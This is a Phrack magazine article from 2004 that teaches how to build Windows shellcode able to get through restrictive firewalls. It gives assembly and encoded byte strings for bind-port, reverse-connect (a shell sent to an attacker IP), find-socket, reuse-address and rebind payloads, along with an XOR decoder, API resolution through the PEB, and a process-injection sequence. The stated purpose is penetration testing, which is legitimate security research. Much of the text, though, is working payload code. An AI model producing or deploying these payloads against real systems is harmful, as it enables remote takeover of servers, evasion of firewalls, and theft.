[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]


..[ Phrack Magazine ]..
.:: Advances in Windows Shellcode ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ]
Current issue : #62 | Release date : 2004-07-13 | Editor : Phrack Staff
IntroductionPhrack Staff
LoopbackPhrack Staff
LinenoisePhrack Staff
Phrack Prophile on scutPhrack Staff
Bypassing Win BO Protectionjamie butler & anonymous author
Kernel Mode Backdoor for NTfirew0rker
Advances in Windows Shellcodesk
Remote Execgrugq
UTF8 Shellcodegreuff
Attacking Apache Modulesandi
Radio Hackingshaun2k2
Win32 Portable Userland Rootkitkdm
Bypassing Windows Personal FW'srattle
A Dynamic Polyalphabetic Substitution Cipherveins
Playing Cards for Smart Profitender
Phrack World NewsPhrack Staff
Title : Advances in Windows Shellcode
Author : sk
                             ==Phrack Inc.==

               Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10


|=-----------=[ History and Advances in Windows Shellcode ]=-------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sk <sk at scan-associates d0t net> ]=----------------=|
|=------------------------=[ June 22nd, 2004 ]=--------------------------=|

--[ Contents

	1. Abstract
	2. Introduction to shellcode
		a. Why shellcode?
		b. Windows shellcode skeleton
			i. Getting EIP
			ii. Decoder
			iii. Getting address of required function
			iv. Locating Kernel32 base memory
			v. Getting GetProcAddress()
			vi. Getting other functions by name
			vii. Spawning a shell
		c. Compiling our shellcode
	3. The connection
		a. Bind to port shellcode
			i. Bind to port shellcode implementation
			ii. Problem with Bind to port shellcode
		b. Reverse connect
			i. Reverse connect shellcode implementation
			ii. Problem with reverse connect shellcode
	4. One-way shellcode
		a. Find socket shellcode
			i. Problem with find socket shellcode
		b. Reuse address shellcode
			i. Reuse address shellcode implementation
			ii. Problem with reuse address shellcode
		c. Rebind socket
			i. Rebind socket shellcode implementation
		d. Other one-way shellcode
	5. Transferring file using shellcode
		a. Uploading file with debug.exe
		b. Uploading file with VBS
		c. Retrieving file from command line
	6. Avoiding IDS detection
	7. Restarting vulnerable service
	8. End of shellcode?
	9. Greetz!
	10. References
	11. The code


--[ 1. Abstract

Firewall is everywhere in the Internet now. Most of the exploits 
released in the public have little concern over firewall rules 
because they are just proof of concept. In real world, we would 
encounter targets with firewall that will make exploitation harder. 
We need to overcome these obstacles for a successful penetration 
testing job. The research of this paper started when we need to take 
over (own) a machine which is heavily protected with rigid firewall 
rules. Although we can reach the vulnerable service but the strong 
firewall rules between us and the server hinder all standard exploits 
useless.

The objective of the research is to find alternative ways which allow 
penetration tester to take control of a machine after a successful 
buffer overflow. A successful buffer overflow in a sense that it will 
eventually leads to arbitrary code execution. These alternative 
mechanisms should succeed where others fail even in the most rigid 
firewall rules.

In our research to find a way to by pass these troublesome firewall 
rules, we looked into various existing techniques used by exploits in 
the public and why they fail. Then, we found several mechanisms that 
will work, but dependence to the vulnerable service. Although we can 
take over the server using these techniques, we take one step further 
to develop a more generic technique which is not dependence to any 
service and can be reuse in most other buffer overflows. 

This paper will start with dissection on a standard Win32 shellcode 
as an introduction. We will then explore the techniques being used by 
proof of concept codes to allow attacker to control the target and 
their limitations. Then, we will introduce a few alternatives 
techniques which we call "One-way shellcode" and how they may by pass 
firewall rules. Finally, we also discussed on a possible way to 
transfer file from command line without breaking the firewall rule.


--[ 2. Introduction to shellcode 

An exploit usually consists of two major components:
1.	Exploitation technique
2.	Payload

The objective of the exploitation part is to divert the execution 
path of the vulnerable program. We can achieve that via one of these 
techniques:

*	Stack-based Buffer Overflow
*	Heap-based Buffer Overflow
*	Format String
*	Integer Overflow
*	Memory corruption, etc

Even though we may use one or more of those exploitation techniques 
to control the execution path of a program, each vulnerability need 
to be exploited differently. Every vulnerability has different way to 
trigger the bug. We may use different buffer size or character set to 
trigger the overflow. Although we can probably use the same technique 
for vulnerabilities in the same class, we cannot use the same code.

Once we control of the execution path, we probably want it to execute 
our code. Thus, we need to include these code or instruction set in 
our exploit. The part of code which allows us to execute arbitrary 
code is known as payload. The payload can virtually do everything a 
computer program can do with the permission of the vulnerable service. 

A payload that spawns you a shell is known as a shellcode. It allows 
interactive command execution. Unlike Exploitation technique, a well 
designed shellcode can easily be reused in other exploits. We will 
try to build shellcode that can be reused. A basic requirement of a 
shellcode is the shell and a connection that allow use to use it 
interactively.


--[ 2.a Why shellcode?

Why shellcode? Simply because it is the simplest way that allows the 
attacker to explore the target system interactively. It might give 
the attacker the ability to discover internal network, to further 
penetrate into other computers. A simple "net view /domain" command 
in Windows box would review many other easy targets.

A shell may also allow upload/download file/database, which is 
usually needed as proof of successful pen-test. You also may easily 
install trojan horse, key logger, sniffer, Enterprise worm, WinVNC, 
etc. An Enterprise Worm could be a computer worm which was written 
specifically to infect other machine in the same domain using the 
credential of the primary domain controller. 

A shell is also useful to restart the vulnerable services. This will 
keep the service running and your client happy. But more importantly, 
restarting the vulnerable service usually allow us to attack the 
service again. We also may clean up traces like log files and events 
with a shell. There are just many other possibilities. 

However, spawning a shell is not the only thing you can do in your 
payload. As demonstrated by LSD in their Win32 ASM component, you can 
create a payload that loop and wait for command from the attacker. 
The attacker could issue a command to the payload to create new 
connection, upload/download file or spawn a shell. There are also a 
few others payload strategies in which the payload will loop and wait 
for additional payload from the attacker.

Regardless whether a payload is spawning a shell or loop to wait for 
instructions, it still needs to communicate with the attacker. 
Although we are using payload that spawns a shell throughout this 
article, the mechanisms being use for communication can be use in 
other payload strategy.


--[ 2.b Windows shellcode skeleton

Shellcode usually start by getting to know where you are during the 
execution by grapping the EIP value. And then, a decoding process 
will take place. The process will then jump into the decoded memory 
area where execution can continue. Before we can do anything useful, 
we need to find addresses of all functions and API that we need to 
use in the shellcode. With that, we can setup a socket, and finally 
spawn a shell.

*	Getting EIP
*	Decoder
*	Getting addresses of required functions
*	Setup socket
*	Spawning shell

Let's look into what these components suppose to do, in greater 
detail.


--[ 2.b.i Getting EIP

We would like to make our shellcode as reusable as possible. For that, 
we will avoid using any fixed address which could change in different 
environment. We will use relative addressing as much as we could. To 
start with, we need to know where we are in the memory. This address 
will be our base address. Any variable or function in the shellcode 
will be relative to this address. To get this address, we can use a 
CALL and a POP instruction. As we already know, whenever we are 
calling a function, the return value is push into the stack just 
before the function is called. So, if the first thing we do in the 
function is a POP command, we will obtain the return value in a 
register. As shown below, EAX will be 451005.

450000:		
		label1:	pop eax
450005: 		... (eax = 451005)

451000: 		call label1		;start here!
451005:

Most likely you will find something similar to the code below in a 
shellcode, which does about the same thing.

450000: 			jmp label1
450002:	
		label2: 	jmp cont
450004:	
		label1: 	call label2  
450009:	
		cont: 		pop eax
				... 	(eax = 450009)

Another interesting mechanism being use to obtain the EIP is to make 
use of a few special FPU instructions. This was implemented by Aaron 
Adams in Vuln-Dev mailing list in the discussion to create pure ASCII 
shellcode. The code uses fnstenv/fstenv instructions to save the 
state of the FPU environment.

	fldz
	fnstenv [esp-12]
	pop ecx
	add cl, 10
	nop

ECX will hold the address of the EIP. However, these instructions 
will generate non-standard ASCII characters.


--[ 2.b.ii Decoder

Buffer overflow usually will not allow NULL and a few special 
characters. We can avoid using these characters by encoding our 
shellcode. The easiest encoding scheme is the XOR encoding. In this 
encoding, we will XOR each char in our shellcode with a predefined 
value. During execution, a decoder will translate the rest of the 
code back to real instruction by XOR it again with the predefined 
value. As shown here, we can set the number of byte we want to decode 
in ecx, and while eax is pointing to the starting point of our 
encoded shellcode. We xor the destination byte by byte with 0x96 
until the loop over. There are other more advance encoding schemes, 
of cause. We can use a DWORD xor value instead of a char to encode 4 
bytes at a time. We also may break the code apart by encoding them 
using a different xor key. All with the purpose to get rid of 
unusable chars in our shellcode.

	xor	ecx, ecx
	mov 	cl, 0C6h 			;size	
loop1:	
	inc	eax
	xor 	byte ptr [eax], 96h
	loop 	loop1

The Metasploit project (http://metasploit.com/) contains a few very 
useful encoders worth checking.


--[ 2.b.iii Getting address of required function

After the decoding process, we will jump into the memory area where 
the decoded shellcode start to continue our execution. Before we can 
do anything useful, we must locate the address of all APIs that we 
need to use and store it in a jump table. We are not going to use any 
fixed address to API because it is different between service packs. 
To get the address of API we need, we can use an API called 
GetProcAddress(). By supplying the name of the function we need to 
this API, it will return the address where we can call to use it. To 
obtain the address of GetProcAddress() itself, we can search the 
export table of the Kernel32.dll in the memory. Kernel32.dll image is 
located predefined in a memory location depending on the OS.

*	NT - 0x77f00000
*	2kSP2 & SP3 - 0x77e80000
*	WinXP - 0x77e60000

Since we know the default base memory of kernel32.dll is located at 
these locations, we can start looping backward from 0x77f00000 to 
look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark 
just like any Windows application. This trick was used by High Speed 
Junky (HSJ) in his exploit and it works quite nicely for all the 
above OS and service pack. However Windows 2000 SP4's Kernel32.dll is 
located at 0x7c570000. In order to scan the memory from 0x77f00000, 
we need to setup an exception handler that will catch invalid memory 
access.


--[ 2.b.iv Locating Kernel32 base memory

However, there is a better method to get the kernel32 base memory. 
Using the fs selector, we can get into our PEB. By searching the 
PEB_LDR_DATA structure, we will find the list of DLL which our 
vulnerable program initialized when it start. The list of DLL will be 
loaded in sequence, first, NTDLL, followed by Kernel32. So, by 
traveling one nod forward in the list, we will get the base memory of 
the Kernel32.dll. This technique, complete with the code, has been 
published by researchers in VX-zine, then used by LSD in their 
Windows Assembly component. 

	mov   eax,fs:[30h]		; PEB  base
	mov   eax,[eax+0ch]		; goto PEB_LDR_DATA
	; first entry in InInitializationOrderModuleList
	mov   esi,[eax+1ch] 
	lodsd					; forward to next LIST_ENTRY
	mov   ebx,[eax+08h]		; Kernel32 base memory


--[ 2.b.v Getting GetProcAddress()

Once we know the base address of Kernel32.dll, we can locate its 
Export Table and look for "GetProcAddress" string. We also can get 
the total of exported functions. Using the number, we loop until we 
find the string.

	mov	esi,dword ptr [ebx+3Ch]		;to PE Header
	add	esi,ebx 
	mov	esi,dword ptr [esi+78h] 	;to export table
	add	esi,ebx 
	mov	edi,dword ptr [esi+20h] 	;to export name table
	add	edi,ebx 
	mov	ecx,dword ptr [esi+14h] 	;number of exported function
	push	esi  
	xor	eax,eax 			;our counter

For each address in the jump table, we will check if the destination 
name is match with "GetProcAddress". If not, we increase EAX by one 
and continue searching. Once we found a match, EAX will be holding 
our counter. Using the following formula, we can obtain the real 
address of GetProcAddress().

ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base

We count until we reach "GetProcAddress". Multiply the index by 2, 
add it to the address of exported ordinals table. It should now point 
to the ordinal of GetProcAddress(). Take the value, multiply it by 4. 
Total it up with the address of the addrress of the table and 
Kernel32 base address, we will get the real address of the 
GetProcAddress(). We can use the same technique to get the address of 
any exported function inside Kernel32. 


--[ 2.b.vi Getting other functions by name

Once we get the address of GetProcAddress(), we can easily obtain 
address of any other API. Since there are quite a number of APIs that 
we need to use, we (actually, most of these codes were dissass from 
HSJ's exploit) build a function that take a function name and return 
the address. To use the function, set ESI pointing to the name of the 
API we want to load. It must be NULL terminated. Set EDI point to the 
jump table. A jump table is just a location where we store all 
addresses of API we need to call. Set ECX to number of API we want it 
to resolve.

In this example, we call to load 3 APIs:

	mov	edi,esi 		;EDI is the output, our jump table
	xor	ecx,ecx 
	mov	cl,3 			;Load 3 APIs
	call	loadaddr

The "loadaddr" function that get the job done:

loadaddr:
	mov	al,byte ptr [esi] 
	inc	esi  
	test	al,al
	jne	loadaddr	;loop till we found a NULL
	push	ecx  
	push	edx  
	push	esi  
	push	ebx  
	call	edx  		;GetProcAddress(DLL, API_Name);
	pop	edx  
	pop	ecx  
	stosd			;write the output to EDI
	loop	loadaddr	;loop to get other APIs
	ret


--[ 2.b.vii Spawning a shell

Once we have gone thru those troublesome API address loading, we can 
finally do something useful. To spawn a shell in Windows, we need to 
call the CreateProcess() API. To use this API, we need to set up the 
STARTUPINFO in such a way that, the input, output and error handler 
will be redirected to a socket. We also will set the structure so 
that the process will have no window. With the structure setup, we 
just need to call CreateProcess to launch "cmd.exe" to get an 
interactive command shell in windows.

;ecx is 0
	mov	byte ptr [ebp],44h 		;STARTUPINFO size
	mov	dword ptr [ebp+3Ch],ebx 	;output handler
	mov	dword ptr [ebp+38h],ebx 	;input handler
	mov	dword ptr [ebp+40h],ebx 	;error handler
;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW
	mov	word ptr [ebp+2Ch],0101h
	lea	eax,[ebp+44h] 
	push	eax  
	push	ebp  
	push	ecx  
	push	ecx  
	push	ecx  
	inc	ecx  
	push	ecx  
	dec	ecx  
	push	ecx  
	push	ecx  
	push	esi  
	push	ecx  
	call	dword ptr [edi-28] ;CreateProcess


--[ 2.c Compiling our shellcode

The Code section in the end of the paper contains source code 
bind.asm. bind.asm is a complete shellcode written in Assembly 
Language which will create a shell in Windows and bind it to a 
specific port. Compile bind.asm:

# tasm -l bind.asm

It will produce 2 files:
1.	bind.obj - the object code
2.	bind.lst - assembly listing

If we open bind.obj with a hex editor, we will see that the object 
code start with something similar to this:

01)	80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00   ....bind.asmb. .
02)	00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C   ...Turbo Assembl
03)	65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99   er  Version 4.1.
04)	88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61   ...@.I../.bind.a
05)	73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03   sm/...@.L....h..
06)	00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F   .@......_TEXT.CO
07)	44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00   DE..............
08)	05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9   ._DATA.DATA.....
09)	00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A   ..........FLAT9.
10)	02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A   ...^....DGROUP..
11)	04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01   .....Z...@......
12)	01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B   ............X...
13)	...
14)	5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00   ZY..............
15)	9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06   .m...|&.....t...

Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of 
the partial hex dump above. It will end with 0xC3 as shown in line 14. 
We need to use a hex editor to remove the first 176 bytes and the 
last 26 bytes. (You don't need to do this if you are using NASM 
compiler, but the author has been using TASM since his MS-DOS age).

Now that we have the shellcode in its pure binary form, we just need 
to build a simple program that read from this file and produce the 
corresponding hex value in a C string. Refer to the Code section 
(xor.cpp) for the code that will do that. The output of the program 
is our shellcode in C string syntax:

# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";


--[ 3 The connection

We have seen some of the basic building block of a shellcode. But we 
have not cover the connection part of the shellcode. As mentioned, a 
shellcode needs a shell and a connection to allow interactive command. 
We want to be able to send any command and see the output. Regardless 
if we are spawning a shell, transferring file or loop to wait for 
further command, we need to setup a connection. There are three 
published techniques: Bind to port, Reverse connect and Find socket 
shellcode. We will look into each one of these, as well as their 
limitation. Along the way, various exploits that uses these shellcode 
will be demonstrated to get a better understanding.


--[ 3.a Bind to port shellcode

Bind to port shellcode is popular being used in proof of concept 
exploit. The shellcode setup a socket, bind it to a specific port and 
listen for connection. Upon accepting a connection, you spawn a shell.

This following APIs are needed for this type of connection: 

*	WSASocket()
*	bind()
*	listen()
*	accept()

It is important to note that we are using WSASocket() and not 
socket() to create a socket. Using WSASocket will create a socket 
that will not have an overlapped attribute. Such socket can be use 
directly as a input/output/error stream in CreateProcess() API. This 
eliminates the need to use anonymous pipe to get input/output from a 
process which exist in older shellcode. The size of the shellcode 
shrinks quite a bit using this technique. It was first introduced by 
David Litchfield. You can find many of Bind too port shellcode in 
Packetstorm Security by debugging shellcode of these exploits:

*	slxploit.c
*	aspcode.c
*	aspx_brute.c


--[ 3.a.1 Bind to port shellcode implementation

	mov	ebx,eax 
	mov	word ptr [ebp],2
	mov	word ptr [ebp+2],5000h 		;port
	mov	dword ptr [ebp+4], 0 		;IP
	push	10h  
	push	ebp  
	push	ebx  
	call	dword ptr [edi-12] 		;bind
	inc	eax
	push	eax		
	push	ebx
	call	dword ptr [edi-8] 		;listen (soc, 1)
	push	eax
	push	eax
	push	ebx
	call	dword ptr [edi-4] 		;accept


Compiling bind.asm will create shellcode (435 bytes) that will work 
with any service pack. We will test the bind to port shellcode using 
a simple testing program - testskode.cpp. Copy the shellcode (in C 
string) generated the xor program and parse it into testskode.cpp:

BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
// this is the bind port of the shellcode
	*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;

	void *ma = malloc(10000);
	memcpy(ma,shellcode,sizeof(shellcode));

	__asm
    {
		mov	eax,ma
		int 3
        		jmp    eax
    }
	free(ma);

Compile and running testskode.cpp will result in a break point just 
before we jump to the shellcode. If we let the process continue, it 
will bind to port 1212 and ready to accept connection. Using netcat, 
we can connect to port 1212 to get a shell.


--[ 3.a.2 Problem with bind to port shellcode

Using proof of concept exploit with bind to port shellcode against 
server in organization with firewall usually will not work. Even 
though we successfully exploited the vulnerability and our shellcode 
executed, we will have difficulties connecting to the bind port. 
Usually, firewall will allow connection to popular services like port 
25, 53, 80, etc. But usually these ports are already in used by other 
applications. Sometimes the firewall rules just did not open these 
ports. We have to assume that the firewall block every port, expect 
for the port number of the vulnerable service.


--[ 3.b Reverse connect shellcode 

To overcome the limitation of bind to port shellcode, many exploits 
prefer to use reverse connection shellcode. Instead of binding to a 
port waiting for connection, the shellcode simply connect to a 
predefined IP and port number to drop it a shell.

We must include our IP and port number which the target must connect 
to give a shell in the shellcode. We also must run netcat or anything 
similar in advance, ready to accept connection. Of cause, we must be 
using IP address which the victim machine is reachable. Thus, usually 
we use public IP.

The following APIs are needed to setup this type of connection:

*	WSASocket()
*	connect()

You can find many of these examples in Packetstorm Security by 
debugging shellcode of these exploits:

*	jill.c
*	iis5asp_exp.c
*	sqludp.c
*	iis5htr_exp.c


--[ 3.b.1 Reverse connect shellcode implementation

push	eax  
push	eax  
push	eax  
push	eax  
inc	eax  
push	eax  
inc	eax  
push	eax  
call	dword ptr [edi-8] 	;WSASocketA 
mov	ebx,eax 
mov	word ptr [ebp],2
mov	word ptr [ebp+2],5000h	;port in network byte order
mov	dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push	10h  
push	ebp  
push	ebx  
call	dword ptr [edi-4] ;connect

Compiling reverse.asm will create shellcode (384 bytes) that will 
work with any service pack. We will use this shellcode in our 
JRun/ColdFusion exploit. However there is still one problem. This 
exploit will not accept NULL character. We need to encode our 
shellcode with an XOR shield. We can use the xor.cpp to encode our 
shellcode using its third parameter.

First, let's compile reverse.asm:

# \tasm\bin\tasm -l reverse.asm

Then, hex-edit reverse.obj to get our shellcode. Refer to bind to 
port shellcode on how to do it. Now, use xor.cpp to print the 
shellcode:

# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...

The first 36 bytes of the shellcode is our decoder. It has been 
carefully crafted to avoid NULL. We keep this part of the shellcode. 
Then, we run xor.cpp again with an extra parameter to xor the code 
with 0x96.

# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";

We take bytes sequence from the 37th bytes onwards. Combine the 
encoder and the xored shellcode, we will get the actual shellcode 
that we can use in our exploit.

BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";

We can use the following statements in our exploit to change the IP 
and port to our machine which has netcat listening for a shell.
 
*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;

The JRun/ColdFusion exploit is attached in the Code section 
(weiwei.pl). The exploit uses Reverse connect shellcode.


--[ 3.b.2 Problem with reverse connect shellcode

It is not unusual to find server which has been configure to block 
out going connection. Firewall usually blocks all outgoing connection 
from DMZ.


--[ 4 One-Way shellcode

With the assumption that firewall has been configured with the 
following rules:

*	Blocks all ports except for listening ports of the services
*	Blocks all outgoing connections from server

Is there any way to control the server remotely? In some case, it is 
possible to use existing resources in the vulnerable service to 
establish the control. For example, it may be possible to hook 
certain functions in the vulnerable service so that it will take over 
socket connection or anything similar. The new function may check any 
network packet for a specific signature. If there is, it may execute 
command that attached along with the network packet. Otherwise, the 
packet passes to the original function. We can then connect to the 
vulnerable service with our signature to trigger a command execution. 
As early as in 2001, Code Red worm uses some sort of function hooking 
to deface web site 
(http://www.eeye.com/html/Research/Advisories/AL20010717.html). 

Another alternative will be to use resources that available from the 
vulnerable service. It is also possible to patch the vulnerable 
service to cripple the authentication procedure. This will be useful 
for services like database, telnet, ftp, SSH and alike. In the case 
of Web server, it is possible to create PHP/ASP/CGI pages in the web 
root that will allow remote command execution via web pages. The 
shellcode in the following link create an ASP page, as implemented by 
Mikey (Michael Hendrickx):

http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c

Code Red 2 worm also has a very interesting method to create a 
backdoor of an IIS server. It creates a virtual path to drive C: and 
D: of the server to the web root. Using these virtual paths, attacker 
can execute cmd.exe which will then allow remote command execution:

http://www.eeye.com/html/research/advisories/AL20010804.html

However, these implementations are specific to the service we are 
exploiting. We hope to find a generic mechanism to bypass the 
firewall rules so that we can easily reuse our shellcode. With the 
assumption that the only way to interact with the server is through 
the port of the vulnerable service, we call these shellcode, One-way 
shellcode:

*	Find socket
*	Reuse address socket
*	Rebind socket


--[ 4.a Find socket shellcode

This method was documented in LSD's paper on Unix shellcode 
(http://lsd-pl.net/unix_assembly.html). Although the code is for Unix, 
we can use the same technique in the Windows world. The idea is to 
locate the existing connection that the attacker was using during the 
attack and use that connection for communication.

Most WinSock API requires only the socket descriptor for its 
operation. So, we need to find this descriptor. In our implementation, 
we loop from 0x80 onwards. This number is chosen because socket 
descriptors below 0x80 are usually not relevant to our network 
connection. In our experience, using socket descriptor below 0x80 in 
WinSock API sometimes crash our shellcode due to lack of Stack space.

We will get the destination port of the network connection for each 
socket descriptor. It is compared with a known value. We hard coded 
this value in our shellcode. If there is a match, we found our 
connection. However, socket may not be a non-overlapping socket. 
Depending on the program that created the socket, there is 
possibility that the socket we found is an overlapping socket. If 
this is the case, we cannot use it directly as in/out/err handler in 
CreateProcess(). To get an interaction communication from this type 
of socket, we can anonymous pipe. Description on using anonymous pipe 
in shellcode can be found in article by Dark Spyrit 
(http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd-
pl.net/windows_components.html).

xor	ebx,ebx
	mov	bl,80h
find:
	inc	ebx
	mov	dword ptr [ebp],10h
	lea	eax,[ebp]
	push	eax
	lea	eax,[ebp+4]
	push	eax
 	push	ebx	 			;socket
	call	dword ptr [edi-4]		;getpeername
	cmp	word ptr [ebp+6],1234h		;myport
	jne	find
found:
	push	ebx				;socket

Find socket shellcode work by comparing the destination port of the 
socket with a known port number. Thus, attacker must obtain this port 
number first before sending the shellcode. It can be easily done by 
calling getsockname() on a connected socket.

It is important to note that this type of shellcode should be use in 
an environment where the attacker is not in a private IP. If you are 
in a private IP, your Firewall NATing will create a new connection to 
the victim machine during your attack. That connection will have a 
different source port that what you obtain in your machine. Thus, 
your shellcode will never be able to find the actually connection.

Find socket implementation can be found in findsock.asm in the Code 
section. There is also a sample usage of find socket shellcode in 
hellobug.pl, an exploit for MS SQL discovered Dave Aitel.


--[ 4.a.1 Problem with Find socket shellcode

Find socket could be perfect, but in some case, socket descriptor of 
the attacking connection is no longer available. It is possible that 
the socket might already been closed before it reach the vulnerable 
code. In some case, the buffer overflow might be in another process 
altogether.


--[ 4.b Reuse address shellcode

Since we fail to find the socket descriptor of our connection in a 
vulnerability that we are exploiting, we need to find another way. In 
the worst scenario, the firewall allows incoming connection only to 
one port; the port which the vulnerable service is using. So, if we 
can somehow create a bind to port shellcode that actually bind to the 
port number of the vulnerable service, we can get a shell by 
connecting to the same port.

Normally, we will not be able to bind to a port which already been 
used. However, if we set our socket option to SO_REUSEADDR, it is 
possible bind our shellcode to the same port of the vulnerable 
service. Moreover, most applications simply bind a port to INADDR_ANY 
interface, including IIS. If we know the IP address of the server, we 
can even specify the IP address during bind() so that we can bind our 
shellcode in front of vulnerable service. Binding it to a specific IP 
allow us to get the connection first.

Once this is done, we just need to connect to the port number of the 
vulnerable service to get a shell. It is also interesting to note 
that Win32 allow any user to connect to port below 1024. Thus, we can 
use this method even if we get IUSR or IWAM account.

If we don't know the IP address of the server (may be it is using 
port forwarding to an internal IP), we still can bind the process to 
INADDR_ANY. However, this means we will have 2 processes excepting 
connection from the same port on the same interface. In our 
experience, we may need to connect a few times to get a shell. This 
is because the other process could occasionally get the connection.

API needed to create a reuse address shellcode:

*	WSASocketA()
*	setsockopt()
*	bind()
*	listen()
*	accept()


--[ 4.b.1 Reuse address shellcode implementation

mov	word ptr [ebp],2
push	4
push	ebp
push	4				;SO_REUSEADDR
push	0ffffh
push	ebx
call	dword ptr [edi-20] 	;setsockopt 
mov	word ptr [ebp+2],5000h 	;port
mov	dword ptr [ebp+4], 0h 	;IP, can be 0
push	10h  
push	ebp  
push	ebx  
call	dword ptr [edi-12] 	;bind

Reuse address shellcode implementation is in reuse.asm (434 bytes) in 
the Code section. Same usage of this type of shellcode is implemented 
in reusewb.c exploit. This exploit is using the NTDLL (WebDav) 
vulnerability on IIS Web server.


--[ 4.b.2 Problem with reuse address shellcode

Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address 
is not possible. 


--[ 4.c Rebind socket shellcode

It is not unusual to find application that actually uses SO_ 
EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our 
research did not stop there. We feel that there is a need to create a 
better shellcode. Assuming that we have same restriction we have as 
before. The only way to connect to the vulnerable machine is via the 
port of the vulnerable service. Instead of sharing the port 
gracefully as reuse address socket shellcode, we can take over the 
port number entirely.

If we can terminate the vulnerable service, we can bind our shell 
into the very same port that was previously used by the vulnerable 
service. If we can achieve that, the next connection to this port 
will yield a shell.

However, our shellcode is usually running as part of the vulnerable 
service. Terminating the vulnerable service will terminate our 
shellcode.

To get around with this, we need to fork our shellcode into a new 
process. The new process will bind to a specific port as soon as it 
is available. The vulnerable service will be forcefully terminated.

Forking is not as simple as in Unix world. Fortunately, LSD has done 
all the hard work for us (http://lsd-pl.net/windows_components.html). 
It is done in the following manner as implemented by LSD:

1.	Call CreateProcess() API to create a new process. We must 
	supply a filename to this API. It doesn't matter which file, as 
	long as it exist in the system. However, if we choose name like 
	IExplore, we might be able to bypass even personal firewall. We 
	also must create the process in Suspend Mode.
2.	Call GetThreadContext() to retrieve the environment of the 
	suspended process. This call allows us to retrieve various 
	information, including CPU registry of the suspended process.
3.	Use VirtualAllocEx() to create enough buffer for our shellcode 
	in the suspended process.
4.	Call WriteProcessMemory() to copy our shellcode from the 
	vulnerable service to the new buffer in the suspended process.
5.	Use SetThreadContext() to replace EIP with memory address of 
	the new buffer.
6.	ResumeThread() will resume the suspended thread. When the 
	thread starts, it will point directly to the new buffer which 
	contains our shellcode.

The new shellcode in the separate process will loop constantly trying 
to bind to port of the vulnerable service. However, until we 
successfully terminate the vulnerable machine it will not be able to 
continue.

